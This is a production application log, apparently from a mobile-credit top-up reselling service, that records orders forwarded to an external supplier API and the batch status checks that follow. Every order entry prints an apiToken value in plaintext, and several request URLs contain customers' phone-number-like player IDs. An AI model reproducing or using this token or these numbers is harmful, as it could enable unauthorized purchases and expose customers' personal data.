[2026-03-24 10:00:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7RK8O0r5JvBwhIDMm2w4O3MEMjWIHAMu","execution_time":"2026-03-24 10:00:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:00:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7RK8O0r5JvBwhIDMm2w4O3MEMjWIHAMu","execution_time":"2026-03-24 10:00:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:00:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7RK8O0r5JvBwhIDMm2w4O3MEMjWIHAMu","execution_time":"2026-03-24 10:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7RK8O0r5JvBwhIDMm2w4O3MEMjWIHAMu","execution_time":"2026-03-24 10:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:00:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7RK8O0r5JvBwhIDMm2w4O3MEMjWIHAMu","execution_time":"2026-03-24 10:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:00:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7RK8O0r5JvBwhIDMm2w4O3MEMjWIHAMu","execution_time":"2026-03-24 10:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:00:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"7RK8O0r5JvBwhIDMm2w4O3MEMjWIHAMu","execution_time":"2026-03-24 10:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:00:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:00:03] production.INFO: async() رجع: true  
[2026-03-24 10:00:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:00:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:00:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:00:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:00:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:00:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:00:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:00:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:00:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:00:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:00:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:01:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1766  
[2026-03-24 10:01:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1766  
[2026-03-24 10:01:45] production.INFO: Constructing job for order: 178542  
[2026-03-24 10:01:47] production.INFO: Handling job for order: 178542  
[2026-03-24 10:01:47] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:01:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:01:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=876e378b-191b-4628-87d9-dadb0333a062&Player_ID=0964658155  
[2026-03-24 10:01:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=876e378b-191b-4628-87d9-dadb0333a062&Player_ID=0964658155","has_body":false} 
[2026-03-24 10:01:47] production.INFO: Operation sent successfully {"operation_id":163473,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2ElzQi-1774335707","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 10:01:47"}},"processed_data":{"order_number":"ORD-2ElzQi-1774335707","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 10:01:51] production.INFO: Constructing job for order: 178543  
[2026-03-24 10:01:53] production.INFO: Handling job for order: 178543  
[2026-03-24 10:01:53] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:01:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:01:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=3b9ffe7f-63e9-48fd-9208-f12b1585292f&Player_ID=0964658155  
[2026-03-24 10:01:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=3b9ffe7f-63e9-48fd-9208-f12b1585292f&Player_ID=0964658155","has_body":false} 
[2026-03-24 10:01:54] production.INFO: Operation sent successfully {"operation_id":163474,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1t36-1774335714","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 10:01:54"}},"processed_data":{"order_number":"ORD-1t36-1774335714","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 10:01:56] production.INFO: Constructing job for order: 178544  
[2026-03-24 10:01:57] production.INFO: Handling job for order: 178544  
[2026-03-24 10:01:57] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:01:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:01:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=cce75d7f-0921-4e39-9fb8-316faba1755f&Player_ID=0964658155  
[2026-03-24 10:01:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=cce75d7f-0921-4e39-9fb8-316faba1755f&Player_ID=0964658155","has_body":false} 
[2026-03-24 10:01:58] production.INFO: Operation sent successfully {"operation_id":163475,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SOIyQ-1774335718","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 10:01:58"}},"processed_data":{"order_number":"ORD-SOIyQ-1774335718","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 10:02:01] production.INFO: Constructing job for order: 178545  
[2026-03-24 10:02:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01"} 
[2026-03-24 10:02:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","total_operations":4,"sites_count":2} 
[2026-03-24 10:02:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:02:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:02:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:02:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:02:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:02:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:02:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":3,"order_ids":["ORD-2ElzQi-1774335707","ORD-1t36-1774335714","ORD-SOIyQ-1774335718"]} 
[2026-03-24 10:02:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:02:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":3} 
[2026-03-24 10:02:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1t36-1774335714","operation_id":163474} 
[2026-03-24 10:02:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2ElzQi-1774335707","operation_id":163473} 
[2026-03-24 10:02:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SOIyQ-1774335718","operation_id":163475} 
[2026-03-24 10:02:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SOIyQ-1774335718","operation_id":163475,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 10:02:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SOIyQ-1774335718","operation_id":163475,"processed":0,"errors":0} 
[2026-03-24 10:02:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ZLAPXzRtjxbYmzYH8uUxt3MgZafDYkwm","execution_time":"2026-03-24 10:02:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SOIyQ-1774335718","operation_id":163475} 
[2026-03-24 10:02:04] production.INFO: Handling job for order: 178545  
[2026-03-24 10:02:04] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:02:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:02:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=1a17e2ce-fceb-4965-abc6-37b7494fada6&Player_ID=0964658155  
[2026-03-24 10:02:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=1a17e2ce-fceb-4965-abc6-37b7494fada6&Player_ID=0964658155","has_body":false} 
[2026-03-24 10:02:05] production.INFO: Operation sent successfully {"operation_id":163476,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-s7Iba3R-1774335725","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 10:02:05"}},"processed_data":{"order_number":"ORD-s7Iba3R-1774335725","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 10:03:16] production.INFO: Constructing job for order: 178546  
[2026-03-24 10:03:17] production.INFO: Handling job for order: 178546  
[2026-03-24 10:03:17] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:03:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:03:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=32e2ef3d-9359-4a88-ad9f-662d5ecb4a8b&Player_ID=0939530943  
[2026-03-24 10:03:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/41/params?qty=1&uuid=32e2ef3d-9359-4a88-ad9f-662d5ecb4a8b&Player_ID=0939530943","has_body":false} 
[2026-03-24 10:03:18] production.INFO: Operation sent successfully {"operation_id":163477,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Z177-1774335797","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 10:03:18"}},"processed_data":{"order_number":"ORD-Z177-1774335797","amount":91.3248300000000057252691476605832576751708984375,"status":"processing","product":"86.54 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 10:03:52] production.INFO: Constructing job for order: 178547  
[2026-03-24 10:03:54] production.INFO: Handling job for order: 178547  
[2026-03-24 10:03:54] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:03:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:03:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=3985a29d-fef8-451e-9327-361ae9b8d81f&Player_ID=0946161729  
[2026-03-24 10:03:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=3985a29d-fef8-451e-9327-361ae9b8d81f&Player_ID=0946161729","has_body":false} 
[2026-03-24 10:03:54] production.INFO: Operation sent successfully {"operation_id":163478,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hPR4-1774335834","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 10:03:54"}},"processed_data":{"order_number":"ORD-hPR4-1774335834","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 10:04:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00"} 
[2026-03-24 10:04:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","total_operations":7,"sites_count":2} 
[2026-03-24 10:04:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:04:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:04:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:04:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:04:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:04:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:04:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":6,"order_ids":["ORD-2ElzQi-1774335707","ORD-1t36-1774335714","ORD-SOIyQ-1774335718","ORD-s7Iba3R-1774335725","ORD-Z177-1774335797","ORD-hPR4-1774335834"]} 
[2026-03-24 10:04:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:04:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":6} 
[2026-03-24 10:04:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hPR4-1774335834","operation_id":163478} 
[2026-03-24 10:04:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"processed":5,"skipped":1,"updates_prepared":5} 
[2026-03-24 10:04:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"total_items":5,"chunks":1,"chunk_size":10} 
[2026-03-24 10:04:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"count":5} 
[2026-03-24 10:04:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"count":5} 
[2026-03-24 10:04:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"user_id":107,"notification_type":"order_approved","reference_id":178543} 
[2026-03-24 10:04:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"user_id":107,"notification_type":"order_approved","reference_id":178542} 
[2026-03-24 10:04:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"user_id":107,"notification_type":"order_approved","reference_id":178545} 
[2026-03-24 10:04:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"user_id":107,"notification_type":"order_approved","reference_id":178544} 
[2026-03-24 10:04:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"user_id":600,"notification_type":"order_approved","reference_id":178546} 
[2026-03-24 10:04:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"chunk_number":1,"processed":5,"errors":0,"total_operations":5,"total_orders":5,"total_codes":0,"total_refunds":0} 
[2026-03-24 10:04:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"total_processed":5,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:04:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"processed":5,"errors":0} 
[2026-03-24 10:04:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477,"processed":5,"errors":0} 
[2026-03-24 10:04:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rfJbUYD12SUCOikBXjnHt15U8DM8qDFw","execution_time":"2026-03-24 10:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Z177-1774335797","operation_id":163477} 
[2026-03-24 10:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 10:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 10:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 10:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 10:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 10:04:43] production.INFO: Constructing job for order: 178548  
[2026-03-24 10:04:46] production.INFO: Handling job for order: 178548  
[2026-03-24 10:04:46] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:04:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:04:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=686ec99e-d38b-403b-8a6e-941d5a47529f&Player_ID=0946161729  
[2026-03-24 10:04:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=686ec99e-d38b-403b-8a6e-941d5a47529f&Player_ID=0946161729","has_body":false} 
[2026-03-24 10:04:46] production.INFO: Operation sent successfully {"operation_id":163479,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1QD8gj-1774335886","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 10:04:46"}},"processed_data":{"order_number":"ORD-1QD8gj-1774335886","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 10:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:05:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:05:03] production.INFO: async() رجع: true  
[2026-03-24 10:05:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:05:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:05:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:05:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:05:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:05:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:05:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:05:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:05:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:05:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:05:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02"} 
[2026-03-24 10:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","total_operations":3,"sites_count":2} 
[2026-03-24 10:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"MrCYw87lNcLm0yQOaRLOX87hMBXkMLrt","execution_time":"2026-03-24 10:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
